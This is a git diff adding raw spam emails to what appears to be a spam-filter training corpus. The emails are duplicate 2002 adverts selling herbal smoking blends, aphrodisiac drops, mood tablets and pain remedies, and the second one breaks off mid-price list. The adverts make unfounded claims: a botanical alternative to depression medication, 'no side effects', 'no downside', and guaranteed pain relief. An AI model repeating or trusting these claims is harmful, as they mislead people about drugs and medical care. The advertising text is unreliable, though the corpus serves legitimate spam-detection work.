      11) In case, licensing is done, the creation and installation of the concerned systems will be done by the end-user, as per his circumstances and needs. However, piracy is likely to be a major problem in such licensing.


      + +

      12) It is likely that as and when the systems are introduced in the motorised vehicles, unusual and unprecedented demand of new vehicles is created. This will result in massive rejection of the vehicles currently playing all over the world and stimulate an entirely new market as far as motorised vehicle is concerned. The size of such market is difficult to either comprehend and/or estimate.


      + +

      P.S.

      +
      + +

      1) Some of the figures have been rounded off but generally the figures are correct.


      + +

      2) We have tried to keep this communication brief and to the point. More details, including website references are available with us and can be provided, if required. +

      + + + + + + + + +

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      + +qydosdypylfnjyrqwhwtcbjdtujmvgwh + diff --git a/bayes/spamham/spam_2/01259.b4dff1ed93bc931b271888cd42e41b85 b/bayes/spamham/spam_2/01259.b4dff1ed93bc931b271888cd42e41b85 new file mode 100644 index 0000000..beaa954 --- /dev/null +++ b/bayes/spamham/spam_2/01259.b4dff1ed93bc931b271888cd42e41b85 @@ -0,0 +1,281 @@ +From jhzyi@cornnet.nl Tue Aug 6 10:55:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0F7ED44112 + for ; Tue, 6 Aug 2002 05:53:25 -0400 (EDT) +Received: from mail.webnote.net [193.120.211.219] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 10:53:25 +0100 (IST) +Received: from exc1.satdist.com.br ([200.249.185.6]) + by webnote.net (8.9.3/8.9.3) with ESMTP id WAA06482 + for ; Fri, 2 Aug 2002 22:56:27 +0100 +Message-Id: <200208022156.WAA06482@webnote.net> +Received: from www.eng.uct.ac.za (GMC-ISA [211.162.251.245]) by exc1.satdist.com.br with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) + id P7BX29QX; Fri, 2 Aug 2002 18:40:04 -0300 +To: , , + , , + , , + , , + , , , + , , , + , , , + , , + , , + , , , + , , + , , + , , , + , +Cc: , , + , , , + , , , + , , + , , + , , + , , + , , + , , + , , , + , , + , , , + , , , + , +From: "Weedman" +Subject: Call us now, our stash is the best +Date: Fri, 02 Aug 2002 14:35:03 -1900 +MIME-Version: 1.0 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: 7bit + +>>From the ethnobotanical herbalists who brought the herba supplementals; Kathmandu Temple Kiff “1” & “2” “Personal-Choice”, pipe-smoking products/substances to the common market!!! + +********************************************************************************* +Now Open Seven Days A Week! + +To express our appreciation to all of our loyal customers, we are offering the following products "2 for 1" for a limited time only. Ragga Dagga, Stoney Mahoney, Sweet Vjestika, Aqueous Kathmandu, along with a free 1oz. package of Capillaris Herba. + +Now Open Seven Days A Week! + +Call 1-623-974-2295 and Get the 2 for 1 Deal ! + +10:30 AM to 7:00 PM (Mountain Time) + + +********************************************************************************* + +We are finally able to offer for your “Sensitive/Responsive”, “Personal Choice” Smoking Enjoyment….the “Seventh Heaven” Temple “3” Ragga Dagga (TM) Pipe-Smoking Substance Supplemental Product…. Introduced after three years of research and development; Temple “3” is “Personal Choice” legal Smoking/Indulgence….Redefined!!! + +Thanks to recent, dramatic, technological advances in the laboratorial processes for the extraction of alkaloid and glycocide supplements from botanicals/herbas/plant matter, we are now able to offer….in more cultivated/enhanced/viripotent/substantiated format….what had actually already been the most significant, lawful, “Personal Choice” smoking substance available on the planet…. “Seventh Heaven” Temple “3” Ragga Dagga (TM) is the sweet, sweet evolution of all of that…. + +* A 20 X MORE VIRIPOTENT HERBA SUPPLEMENT THAN ITS PREDESSORS (TEMPLE “1” & “2”). + +* HAPPIER, HAPPY SMOKING!!! + +* INDEED, A DEPRESSIVE REGRESSIVE, SUPPLEMENTAL MOOD-ENHANCER. + +* MORE SOPHISTICATED, UPLIFTING & POISED THAN ILLEGAL SMOKING SUBSTANCES. + +* NO REGULATION, NO ILLEGALITY, NO FAILED DRUG TESTS!!! + +* INHIBITS STRESS AND ANXIETY…. + +* INSPIRES CONTEMPLATIVENESS & CREATIVITY…. + +* ENHANCES THE SEXUAL EXPERIENCE!!! + +* GENERATES MORE RESTFUL SLEEP & LUCID DREAMING…. + +* A SIGNIFICANT HERBA / BOTANICAL SUPPLEMENT IN THE BATTLES AGAINST DRUG AND ALCOHOL DEPENDENCE!!!! + +* EASILY IGNITED & STOKED. + +* SMOKES SWEETLY! + +* ABSOLUTELY LEGAL / NON-INVASIVE / NO DOWNSIDE!!! + +* LINGERS FOR A GOOD, GOODLY WHILE! + +* POSSESSES MANY FINE GANJA VIRTUES WITH NONE OF THE NEGATIVES!!! + +* JUST A LITTLE SNIPPET / PINCH GOES A LONG, LONG WAY….JUST 4 OR 5 DRAWS OF YOUR PIPE (A traditional hand herb-pipe is included with each package of Ragga Dagga). + +Temple “3” Ragga Dagga (TM) is an exclusive, botanical/herba, proprietary; Nepalesian formulated, ultra-“Sensitive/Responsive”, pipe-smoking/stoking substance and is undoubtedly the most prestigious, legal offering of its sort on the planet!!! + +So smokin/stokin potent is this cutting edge formulation, that we have even been able to establish a very happy clientele market base within the hard-core stoner arena and have made positive, happy, smoking differences in many, many lives. + +ABSOLUTELY LEGAL! MARVELOUSLY POTENT!! + +A one-of-a-kind, proprietary amalgamation, comprised of extreme high-ratio concentrated extracts which are derived from various common and uncommon “sensitive/responsive” herbas primarily cultivated within and imported from the southern and eastern hemispheres; Temple “3” Ragga Dagga (TM) high-ratio factored botanical extractions are master-crafted into solid jiggets/bars which are structurally reminiscent of what one might find in the “happiness” coffee and tea houses of Nepal/Kathmandu/Amsterdam and in many aspects, possesses a more collected and more focused, less scattered ambiance. + +Ingredients: + +Temple smoking substances and Temple “3” Ragga Dagga (TM) have always been and will always remain exclusive EXOTIC BOTANICAL RESOURCES “House Smoking Substance Specialties”. Temple “3” Ragga Dagga (TM) is both a euphonious/celebratory and relaxing/calming pipe-smoking substance that offers both physical and cerebral significators. Temple “3” Ragga Dagga (TM) is a proprietary, prescribed botanical amalgamation which includes the following synergistically/synesthesia conglomerated, core-refined, ratio-enhanced herbas/botanicals, resins, essences, flower-tops and oils in extreme ratio extractment ranging from 8.5 to 1, to 100 to 1 viripotent concentrations Drachasha, Chavana Prash, Trikatu, Black Seed Herb, Hybrid Flowering Turnera Diffusa, Capillaris Herba, Angelica Root, Wild Dagga mature leaf matter, Haritaki, Shatavari, Labdunum, Neroli, Unicorn Root, Papaver Rhoes, Dendrobian stems, Calea Zacalechichi buddings, Rue, Amla, Salvia Divinorum, Crocus Sativa, Lotus and Gokshura cuttings. + +Please Note: Temple “3” Ragga Dagga (TM) is an absolutely legal, herba/botanical, “Personal Choice”, pipe-smoking substantiality product!!! No included botanical factor therein is regulated by law or considered to be harmful by regulatory agencies. There is no tobacco in Temple “3” Ragga Dagga (TM). There is certainly no cannabis/marijuana in Temple “3” Ragga Dagga (TM)…. And although we are not age-governed by law….Temple “3” Ragga Dagga (TM) is intended exclusively for sophisticated adult usage! Subsequently, it is our MANDATORY ethical policy that Temple “3” Ragga Dagga (TM) may not be sold, offered, or given to any person that has not attained at least twenty-one years of age. All things in their time…. As well, Temple “3” Ragga Dagga (TM) is not intended for use during work or while driving. It should not be enjoyed during pregnancy nor is it intended to supercede physician’s care in any regard. + +======================================================== +Here is what our customers are saying about the Temple “3” Ragga Dagga (TM) phenomenon: + + +“Thank you so much for the Ragga. It is everything you guys claim, and then some! I was a bit skeptical when I read your description of its effects, but there is literally no exaggeration in your advertisements. How nice that this is non-prohibited! It tastes great and feels great too! I am so glad I took a chance and ordered. Blessings to all of you.” + +-- Frankie R. + +Location: West Coast, USA + +“I’m a man of my 40’s and I really know my stuff. I don’t drink or do illegal drugs anymore and have found a much more spiritual path. I used to have to take Valium in the past. Not anymore with the Temple “3”. It really amazes me how this stuff tastes like the Lebanese and blonde stuff I used to smoke in the 70’s. I am very satisfied with all of your products. I like them a lot and will be a customer for life for sure. Whoever makes this stuff is an ARTIST at it. Who would have thought?!” + +-- A.J. + +Location: United Kingdom +======================================================== +Finally, we realize of course that this Temple “3” Ragga Dagga (TM) is not inexpensive…. (Temple “3” Ragga Dagga (TM) is a very, very Sweet Smoke and “sweetness” is never acquired inexpensively. Such is the way of the Economic Tao....), nor, as a matter of fact, is it inexpensive for us to acquire, factor or master-craft…. Quite simply, it is the very best of its Kind that there is to be acquired. Just a snippet/pinch of this Temple “3” Ragga Dagga (TM)…. Four or five draws of your pipe….as is the magical way….lingers for a good, goodly while!!! (An herb pipe and usage instructions are included with each Temple “3” Ragga Dagga (TM) Package.) + +“Seventh Heaven” Temple “3” Ragga Dagga (TM) is offered exclusively in 56 gram (2 oz.) and 22 gram (.75 oz.) jiggets/bars for $115.00 and $65.00 respectively. Sorry, no volume discounts. Wholesale pricing is available to qualified, select merchants only. + +************************************************************ +Our other fine herbal, botanical products include the following: + +1. Sweet Vjestika Aphrodisia Drops (tm); An erotic aphrodisia; sexual intensifier / enhancer liquid amalgamated extract for MEN and WOMEN. + +2. "Seventh Heaven" Prosaka Tablets (tm); a botanical alternative to pharmaceutical medications for calm, balance, serenity and joyful living... + +3. "Seventh Heaven" Gentle Ferocity Tablets (tm); a most efficacious, non-caffeine, non-ephedrine, non-MaHuang botanical energizer and cutting-edge appetite suppressant... + +4. Extreme Martial Arts Botanical Remedies; Equivalence Tablets & Dragon Wing Remedy Spray ... pain management that works to alleviate pain even for arthritis and fibromyalgia sufferers... +********************************************* + +Sweet Vjestika Aphrodisia Drops (tm) inspires and enhances: + +* Extreme body sensitivity +* Sensitivity to touch +* Desire to touch and be touched +* Fantasy, lust, rapture, erogenous sensitivity ... +* Prolongs and intensifies foreplay, orgasm & climax +********************************************* + +"Seventh Heaven" Prosaka Tablets ... + +Entirely natural, proprietary, botanical prescription comprised of uncommon Asian Herbs for Calm, Balance, Serenity and Joyful Living. "Seventh Heaven" Prosaka is indeed a most extraordinary, viripotent, calming, centering, mood-enhancing, holistically-formulated, exotic herbaceous alternative to pharmaceutical medications for depression, anxiety, stress, insomnia, etc. + +NO side effects! NO dependency! Vivaciously Mellow! +********************************************** + +"Seventh Heaven" Gentle Ferocity Tablets (tm) ... + +a non-caffeine, non-ephedrine, non-ephedra, non-MaHuang; viripotent, herbaceous prescription for the dynamic energization of body, mind and spirit. + +This Gentle Ferocity Formulation is amalgamated in accordance with the fundamental Taoist herbal principle of botanical interactiveness and precursorship which in essence is a molecular equation of the relevant botanical/herbal alkaloids and glycosides interacting with one another to prolificate molecular communion and thereby to achieve demonstrative herbal efficaciousness without negative implication to any aspect of human composition. These Gentle Ferocity Cordial Tablets are incredulously and thoroughly effective. Enjoy! + +For those of you who seek to achieve most demonstrative/non-invasive/non-prohibitive appetite suppression without the negative implications of ongoing usage of MaHuang Herb, Ephedra/Ephedrine or Caffeine as are so magnaminously utilized in a multitude of herbal "diet aids" entitled as "Thermogenics" ... this is ABSOLUTELY the herbal agenda/product for you!! + +Entirely Natural! Increases Energy! Increases Metabolism! Decreases Appetite! +*********************************************** + +Extreme Martial Arts Botanical Remedies + +Eastern culture has long had a treatment for bone, muscle, tendon, ligament, sinew and joint distress, traumas, afflictions and constrictions. We are pleased to offer + + Equivalence Tablets & Dragon Wing Remedy Spray + (Hei Ping Shun) (Hei Long Chibang) + +PLEASE NOTE: + +While it is true that all physiological traumas and injuries are unique and that no product can arbitrarily eliminate all of the pain and discomfort in all people all of the time, the combination of Equivalence Tablets (Hei Ping Shun) and Dragon Wing Remedy (Hei Long Chibang) remedial botanicals does guarantee to at the least: + +1. Significantly reduce discomfort and pain! +(In many instances most, if not all, traumas and distress can be eliminated!) + +2. Significantly increase mobility and strength ratio. +(Please remember also the significance of proper diet, excercise, rest and prayer.) + +Equivalence Tablets & Dragon Wing Spray Remedials are comprised of entirely natural botanical factors. + +While Equivalence Tablets (Hei Ping Shun) and Dragon Wing Remedy Spray (Hei Long Chibang) are extremely effective individually, they are utilized to maximum advantage when used in conjunction with one another. + +======================================================== +!!!!Please refer to Introductory Offers further on in this text featuring Temple “3” Ragga Dagga (TM) along with our other “very fine” “Sensitive/Responsive” cordial botanical products…. Please enjoy!!! Many Blessings to you all…. +======================================================== + +PRICING INFORMATION: + +1. SEVENTH HEAVEN Seventh Heaven Temple 3 (tm) +One .75 oz. jigget/bar $65.00 +One 2.0 oz. jigget/bar $115.00 (Free Capillaris Herba with 2.0 oz. bar. Refer to Capillaris paragraph at end of text) + +2. SWEET VJESTIKA APHRODISIA DROPS (tm) +One 1.0 oz. bottle $90.00 +Two 1.0 oz. bottles $140.00 + +3. SEVENTH HEAVEN PROSAKA (tm) +One 100 tablet tin $40.00 +Three 100 tablet tins $105.00 +Six 100 tablet tins $185.00 + +4. SEVENTH HEAVEN GENTLE FEROCITY (tm) +One 300 tablet jar $130.00 + +5. Equivalence Tablets - Each bottle contains 90 - 500mg tablets. +** 3-pack (270 tablets) $83.00 +** 6-pack (540 tablets) $126.00 (save $40.00) +** 9-pack (810 tablets) $159.00 (save $90.00) +** 12-pack (1,080 tablets) $192.00 (save $140.00) + +6. Dragon Wing Spray Remedy - Each spray bottle contains 4 liquid oz. +** 3-pack (3 - 4 oz. bottles) $83.00 +** 6-pack (6 - 4 oz. bottles) $126.00 (save $40.00) +** 9-pack (9 - 4 oz. bottles) $159.00 (save $90.00) +** 12-pack (12 - 4 oz. bottles) $192.00 (save $140.00) + +7. Dynamic Duo Introductory Offers +** 3-pack Equivalence Tabs & 3-pack Dragon Wing $126.00 (save $40.00) +** 6-pack Equivalence Tabs & 3-pack Dragon Wing $159.00 (save $50.00) +** 9-pack Equivalence Tabs & 6-pack Dragon Wing $215.00 (save $70.00) +** 12-pack Equivalence Tabs & 9-pack Dragon Wing $271.00 (save $80.00) + +8. SWEET APHRODISIA INTRO COMBINATION OFFER +Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & one, 1 oz. bottle of Sweet Vjestika Aphrodisia Drops. For $150.00 (Reg. $205.00 Save $55) (Free Capillaris Herba with this intro offer. Refer to Capillaris paragraph at end of text) + +9. BODY, MIND, SPIRIT "HEAVENLY" INTRO COMBINATION OFFER +Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & 1 tin (100 tablets) of Seventh Heaven Prosaka. For $125.00 (Reg. $155.00 Save $30) (Free Capillaris Herba with this intro offer. Refer to Capillaris paragraph at end of text) + +10. "PURE ENERGY" INTRO COMBINATION OFFER +Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & 1 jar (300 tablets) of Seventh Heaven Gentle Ferocity. For $170.00 (Reg. $245.00 Save $75) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text) + +11. "SENSITIVE" PREFERENTIAL INTRO COMBINATION OFFER +Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & 1 tin (100 tablets) of Seventh Heaven Prosaka & 1 jar (300 tablets) of Seventh Heaven Gentle Ferocity For $200.00 (Reg. $285.00 Save $85) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text.) + +12. ULTIMATE HERBACEOUSNESS INTRO COMBINATION OFFER +Includes one - 2.0 oz. jigget / bar of Seventh Heaven Temple 3, one - 1 oz. bottle of Sweet Vjestika Aphrodisia Drops, one - 100 tablet tin of Prosaka, and one - 300 count jar of Gentle Ferocity for a deep discounted Retail Price of $260.00 (Reg. $375.00 Save $115) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text.) + +SPECIAL OFFER: For a limited time only, you will receive a FREE personal brass hookah with the Ultimate Herbaceous Intro Offer as our gift to you. This hookah has a retail value of $25.00. + + +************************************************** +Do Not Forget To Ask for the 2 for 1 Special ! + +Call Now 1-623-974-2295 + +ASK FOR THE DEAL !! + +ORDERING INFORMATION: +For your convenience, you can call us direct with your orders or questions. + + 7 Days a Week -- 10:30 AM to 7:00 PM (Mountain Time) +To place an order via credit card or for customer assistance & product information, please call 1-623-974-2295 (all orders are shipped next day via US Postal domestic and international Priority Mail)… Beyond business hours, please enjoy automated convenience. Leave your name and phone number and a convenient time to return your call. Certainly, we will be happy to do so…. Thank you for your kind attention. + +For all domestic orders, add $6.00 shipping & handling (shipped U.S. Priority Mail). Add $20.00 for International orders. + +************************************************** + +==================================================== + +To remove your address from our list, click "Reply" in your email software and type "Remove" in the subject field, then send. + + + + + + diff --git a/bayes/spamham/spam_2/01260.fae84d2193ed2d65a14e2c8b612fb7fe b/bayes/spamham/spam_2/01260.fae84d2193ed2d65a14e2c8b612fb7fe new file mode 100644 index 0000000..db807b9 --- /dev/null +++ b/bayes/spamham/spam_2/01260.fae84d2193ed2d65a14e2c8b612fb7fe @@ -0,0 +1,281 @@ +From jhzyi@cornnet.nl Tue Aug 6 11:04:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 48E6144114 + for ; Tue, 6 Aug 2002 05:57:00 -0400 (EDT) +Received: from mail.webnote.net [193.120.211.219] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 10:57:00 +0100 (IST) +Received: from exc1.satdist.com.br ([200.249.185.6]) + by webnote.net (8.9.3/8.9.3) with ESMTP id UAA15792 + for ; Mon, 5 Aug 2002 20:29:11 +0100 +Message-Id: <200208051929.UAA15792@webnote.net> +Received: from www.eng.uct.ac.za (GMC-ISA [211.162.251.245]) by exc1.satdist.com.br with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) + id P7BX29QX; Fri, 2 Aug 2002 18:40:04 -0300 +To: , , + , , + , , + , , + , , , + , , , + , , , + , , + , , + , , , + , , + , , + , , , + , +Cc: , , + , , , + , , , + , , + , , + , , + , , + , , + , , + , , , + , , + , , , + , , , + , +From: "Weedman" +Subject: Call us now, our stash is the best +Date: Fri, 02 Aug 2002 14:35:03 -1900 +MIME-Version: 1.0 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: 7bit + +>>From the ethnobotanical herbalists who brought the herba supplementals; Kathmandu Temple Kiff “1” & “2” “Personal-Choice”, pipe-smoking products/substances to the common market!!! + +********************************************************************************* +Now Open Seven Days A Week! + +To express our appreciation to all of our loyal customers, we are offering the following products "2 for 1" for a limited time only. Ragga Dagga, Stoney Mahoney, Sweet Vjestika, Aqueous Kathmandu, along with a free 1oz. package of Capillaris Herba. + +Now Open Seven Days A Week! + +Call 1-623-974-2295 and Get the 2 for 1 Deal ! + +10:30 AM to 7:00 PM (Mountain Time) + + +********************************************************************************* + +We are finally able to offer for your “Sensitive/Responsive”, “Personal Choice” Smoking Enjoyment….the “Seventh Heaven” Temple “3” Ragga Dagga (TM) Pipe-Smoking Substance Supplemental Product…. Introduced after three years of research and development; Temple “3” is “Personal Choice” legal Smoking/Indulgence….Redefined!!! + +Thanks to recent, dramatic, technological advances in the laboratorial processes for the extraction of alkaloid and glycocide supplements from botanicals/herbas/plant matter, we are now able to offer….in more cultivated/enhanced/viripotent/substantiated format….what had actually already been the most significant, lawful, “Personal Choice” smoking substance available on the planet…. “Seventh Heaven” Temple “3” Ragga Dagga (TM) is the sweet, sweet evolution of all of that…. + +* A 20 X MORE VIRIPOTENT HERBA SUPPLEMENT THAN ITS PREDESSORS (TEMPLE “1” & “2”). + +* HAPPIER, HAPPY SMOKING!!! + +* INDEED, A DEPRESSIVE REGRESSIVE, SUPPLEMENTAL MOOD-ENHANCER. + +* MORE SOPHISTICATED, UPLIFTING & POISED THAN ILLEGAL SMOKING SUBSTANCES. + +* NO REGULATION, NO ILLEGALITY, NO FAILED DRUG TESTS!!! + +* INHIBITS STRESS AND ANXIETY…. + +* INSPIRES CONTEMPLATIVENESS & CREATIVITY…. + +* ENHANCES THE SEXUAL EXPERIENCE!!! + +* GENERATES MORE RESTFUL SLEEP & LUCID DREAMING…. + +* A SIGNIFICANT HERBA / BOTANICAL SUPPLEMENT IN THE BATTLES AGAINST DRUG AND ALCOHOL DEPENDENCE!!!! + +* EASILY IGNITED & STOKED. + +* SMOKES SWEETLY! + +* ABSOLUTELY LEGAL / NON-INVASIVE / NO DOWNSIDE!!! + +* LINGERS FOR A GOOD, GOODLY WHILE! + +* POSSESSES MANY FINE GANJA VIRTUES WITH NONE OF THE NEGATIVES!!! + +* JUST A LITTLE SNIPPET / PINCH GOES A LONG, LONG WAY….JUST 4 OR 5 DRAWS OF YOUR PIPE (A traditional hand herb-pipe is included with each package of Ragga Dagga). + +Temple “3” Ragga Dagga (TM) is an exclusive, botanical/herba, proprietary; Nepalesian formulated, ultra-“Sensitive/Responsive”, pipe-smoking/stoking substance and is undoubtedly the most prestigious, legal offering of its sort on the planet!!! + +So smokin/stokin potent is this cutting edge formulation, that we have even been able to establish a very happy clientele market base within the hard-core stoner arena and have made positive, happy, smoking differences in many, many lives. + +ABSOLUTELY LEGAL! MARVELOUSLY POTENT!! + +A one-of-a-kind, proprietary amalgamation, comprised of extreme high-ratio concentrated extracts which are derived from various common and uncommon “sensitive/responsive” herbas primarily cultivated within and imported from the southern and eastern hemispheres; Temple “3” Ragga Dagga (TM) high-ratio factored botanical extractions are master-crafted into solid jiggets/bars which are structurally reminiscent of what one might find in the “happiness” coffee and tea houses of Nepal/Kathmandu/Amsterdam and in many aspects, possesses a more collected and more focused, less scattered ambiance. + +Ingredients: + +Temple smoking substances and Temple “3” Ragga Dagga (TM) have always been and will always remain exclusive EXOTIC BOTANICAL RESOURCES “House Smoking Substance Specialties”. Temple “3” Ragga Dagga (TM) is both a euphonious/celebratory and relaxing/calming pipe-smoking substance that offers both physical and cerebral significators. Temple “3” Ragga Dagga (TM) is a proprietary, prescribed botanical amalgamation which includes the following synergistically/synesthesia conglomerated, core-refined, ratio-enhanced herbas/botanicals, resins, essences, flower-tops and oils in extreme ratio extractment ranging from 8.5 to 1, to 100 to 1 viripotent concentrations Drachasha, Chavana Prash, Trikatu, Black Seed Herb, Hybrid Flowering Turnera Diffusa, Capillaris Herba, Angelica Root, Wild Dagga mature leaf matter, Haritaki, Shatavari, Labdunum, Neroli, Unicorn Root, Papaver Rhoes, Dendrobian stems, Calea Zacalechichi buddings, Rue, Amla, Salvia Divinorum, Crocus Sativa, Lotus and Gokshura cuttings. + +Please Note: Temple “3” Ragga Dagga (TM) is an absolutely legal, herba/botanical, “Personal Choice”, pipe-smoking substantiality product!!! No included botanical factor therein is regulated by law or considered to be harmful by regulatory agencies. There is no tobacco in Temple “3” Ragga Dagga (TM). There is certainly no cannabis/marijuana in Temple “3” Ragga Dagga (TM)…. And although we are not age-governed by law….Temple “3” Ragga Dagga (TM) is intended exclusively for sophisticated adult usage! Subsequently, it is our MANDATORY ethical policy that Temple “3” Ragga Dagga (TM) may not be sold, offered, or given to any person that has not attained at least twenty-one years of age. All things in their time…. As well, Temple “3” Ragga Dagga (TM) is not intended for use during work or while driving. It should not be enjoyed during pregnancy nor is it intended to supercede physician’s care in any regard. + +======================================================== +Here is what our customers are saying about the Temple “3” Ragga Dagga (TM) phenomenon: + + +“Thank you so much for the Ragga. It is everything you guys claim, and then some! I was a bit skeptical when I read your description of its effects, but there is literally no exaggeration in your advertisements. How nice that this is non-prohibited! It tastes great and feels great too! I am so glad I took a chance and ordered. Blessings to all of you.” + +-- Frankie R. + +Location: West Coast, USA + +“I’m a man of my 40’s and I really know my stuff. I don’t drink or do illegal drugs anymore and have found a much more spiritual path. I used to have to take Valium in the past. Not anymore with the Temple “3”. It really amazes me how this stuff tastes like the Lebanese and blonde stuff I used to smoke in the 70’s. I am very satisfied with all of your products. I like them a lot and will be a customer for life for sure. Whoever makes this stuff is an ARTIST at it. Who would have thought?!” + +-- A.J. + +Location: United Kingdom +======================================================== +Finally, we realize of course that this Temple “3” Ragga Dagga (TM) is not inexpensive…. (Temple “3” Ragga Dagga (TM) is a very, very Sweet Smoke and “sweetness” is never acquired inexpensively. Such is the way of the Economic Tao....), nor, as a matter of fact, is it inexpensive for us to acquire, factor or master-craft…. Quite simply, it is the very best of its Kind that there is to be acquired. Just a snippet/pinch of this Temple “3” Ragga Dagga (TM)…. Four or five draws of your pipe….as is the magical way….lingers for a good, goodly while!!! (An herb pipe and usage instructions are included with each Temple “3” Ragga Dagga (TM) Package.) + +“Seventh Heaven” Temple “3” Ragga Dagga (TM) is offered exclusively in 56 gram (2 oz.) and 22 gram (.75 oz.) jiggets/bars for $115.00 and $65.00 respectively. Sorry, no volume discounts. Wholesale pricing is available to qualified, select merchants only. + +************************************************************ +Our other fine herbal, botanical products include the following: + +1. Sweet Vjestika Aphrodisia Drops (tm); An erotic aphrodisia; sexual intensifier / enhancer liquid amalgamated extract for MEN and WOMEN. + +2. "Seventh Heaven" Prosaka Tablets (tm); a botanical alternative to pharmaceutical medications for calm, balance, serenity and joyful living... + +3. "Seventh Heaven" Gentle Ferocity Tablets (tm); a most efficacious, non-caffeine, non-ephedrine, non-MaHuang botanical energizer and cutting-edge appetite suppressant... + +4. Extreme Martial Arts Botanical Remedies; Equivalence Tablets & Dragon Wing Remedy Spray ... pain management that works to alleviate pain even for arthritis and fibromyalgia sufferers... +********************************************* + +Sweet Vjestika Aphrodisia Drops (tm) inspires and enhances: + +* Extreme body sensitivity +* Sensitivity to touch +* Desire to touch and be touched +* Fantasy, lust, rapture, erogenous sensitivity ... +* Prolongs and intensifies foreplay, orgasm & climax +********************************************* + +"Seventh Heaven" Prosaka Tablets ... + +Entirely natural, proprietary, botanical prescription comprised of uncommon Asian Herbs for Calm, Balance, Serenity and Joyful Living. "Seventh Heaven" Prosaka is indeed a most extraordinary, viripotent, calming, centering, mood-enhancing, holistically-formulated, exotic herbaceous alternative to pharmaceutical medications for depression, anxiety, stress, insomnia, etc. + +NO side effects! NO dependency! Vivaciously Mellow! +********************************************** + +"Seventh Heaven" Gentle Ferocity Tablets (tm) ... + +a non-caffeine, non-ephedrine, non-ephedra, non-MaHuang; viripotent, herbaceous prescription for the dynamic energization of body, mind and spirit. + +This Gentle Ferocity Formulation is amalgamated in accordance with the fundamental Taoist herbal principle of botanical interactiveness and precursorship which in essence is a molecular equation of the relevant botanical/herbal alkaloids and glycosides interacting with one another to prolificate molecular communion and thereby to achieve demonstrative herbal efficaciousness without negative implication to any aspect of human composition. These Gentle Ferocity Cordial Tablets are incredulously and thoroughly effective. Enjoy! + +For those of you who seek to achieve most demonstrative/non-invasive/non-prohibitive appetite suppression without the negative implications of ongoing usage of MaHuang Herb, Ephedra/Ephedrine or Caffeine as are so magnaminously utilized in a multitude of herbal "diet aids" entitled as "Thermogenics" ... this is ABSOLUTELY the herbal agenda/product for you!! + +Entirely Natural! Increases Energy! Increases Metabolism! Decreases Appetite! +*********************************************** + +Extreme Martial Arts Botanical Remedies + +Eastern culture has long had a treatment for bone, muscle, tendon, ligament, sinew and joint distress, traumas, afflictions and constrictions. We are pleased to offer + + Equivalence Tablets & Dragon Wing Remedy Spray + (Hei Ping Shun) (Hei Long Chibang) + +PLEASE NOTE: + +While it is true that all physiological traumas and injuries are unique and that no product can arbitrarily eliminate all of the pain and discomfort in all people all of the time, the combination of Equivalence Tablets (Hei Ping Shun) and Dragon Wing Remedy (Hei Long Chibang) remedial botanicals does guarantee to at the least: + +1. Significantly reduce discomfort and pain! +(In many instances most, if not all, traumas and distress can be eliminated!) + +2. Significantly increase mobility and strength ratio. +(Please remember also the significance of proper diet, excercise, rest and prayer.) + +Equivalence Tablets & Dragon Wing Spray Remedials are comprised of entirely natural botanical factors. + +While Equivalence Tablets (Hei Ping Shun) and Dragon Wing Remedy Spray (Hei Long Chibang) are extremely effective individually, they are utilized to maximum advantage when used in conjunction with one another. + +======================================================== +!!!!Please refer to Introductory Offers further on in this text featuring Temple “3” Ragga Dagga (TM) along with our other “very fine” “Sensitive/Responsive” cordial botanical products…. Please enjoy!!! Many Blessings to you all…. +======================================================== + +PRICING INFORMATION: + +1. SEVENTH HEAVEN Seventh Heaven Temple 3 (tm) +One .75 oz. jigget/bar $65.00 +One 2.0 oz. jigget/bar $115.00 (Free Capillaris Herba with 2.0 oz. bar. Refer to Capillaris paragraph at end of text) + +2. SWEET VJESTIKA APHRODISIA DROPS (tm) +One 1.0 oz. bottle $90.00 +Two 1.0 oz. bottles $140.00 + +3. SEVENTH HEAVEN PROSAKA (tm) +One 100 tablet tin $40.00 +Three 100 tablet tins $105.00 +Six 100 tablet tins $185.00 + +4. SEVENTH HEAVEN GENTLE FEROCITY (tm) +One 300 tablet jar $130.00 + +5. Equivalence Tablets - Each bottle contains 90 - 500mg tablets. +** 3-pack (270 tablets) $83.00 +** 6-pack (540 tablets) $126.00 (save $40.00) +** 9-pack (810 tablets) $159.00 (save $90.00) +** 12-pack (1,080 tablets) $192.00 (save $140.00) + +6. Dragon Wing Spray Remedy - Each spray bottle contains 4 liquid oz. +** 3-pack (3 - 4 oz. bottles) $83.00 +** 6-pack (6 - 4 oz. bottles) $126.00 (save $40.00) +** 9-pack (9 - 4 oz. bottles) $159.00 (save $90.00) +** 12-pack (12 - 4 oz. bottles) $192.00 (save $140.00) + +7. Dynamic Duo Introductory Offers +** 3-pack Equivalence Tabs & 3-pack Dragon Wing $126.00 (save $40.00) +** 6-pack Equivalence Tabs & 3-pack Dragon Wing $159.00 (save $50.00) +** 9-pack Equivalence Tabs & 6-pack Dragon Wing $215.00 (save $70.00) +** 12-pack Equivalence Tabs & 9-pack Dragon Wing $271.00 (save $80.00) + +8. SWEET APHRODISIA INTRO COMBINATION OFFER +Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & one, 1 oz. bottle of Sweet Vjestika Aphrodisia Drops. For $150.00 (Reg. $205.00 Save $55) (Free Capillaris Herba with this intro offer. Refer to Capillaris paragraph at end of text) + +9. BODY, MIND, 